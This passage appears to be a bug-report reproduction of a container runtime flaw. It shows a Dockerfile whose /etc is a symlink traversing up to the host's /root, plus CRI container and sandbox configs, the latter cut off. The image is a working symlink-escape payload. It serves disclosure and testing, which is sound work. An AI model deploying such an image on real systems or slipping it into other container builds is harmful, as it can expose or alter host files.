FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .
and this container config:
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}
and this sandbox config
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"

"linux": {
"security_context": {
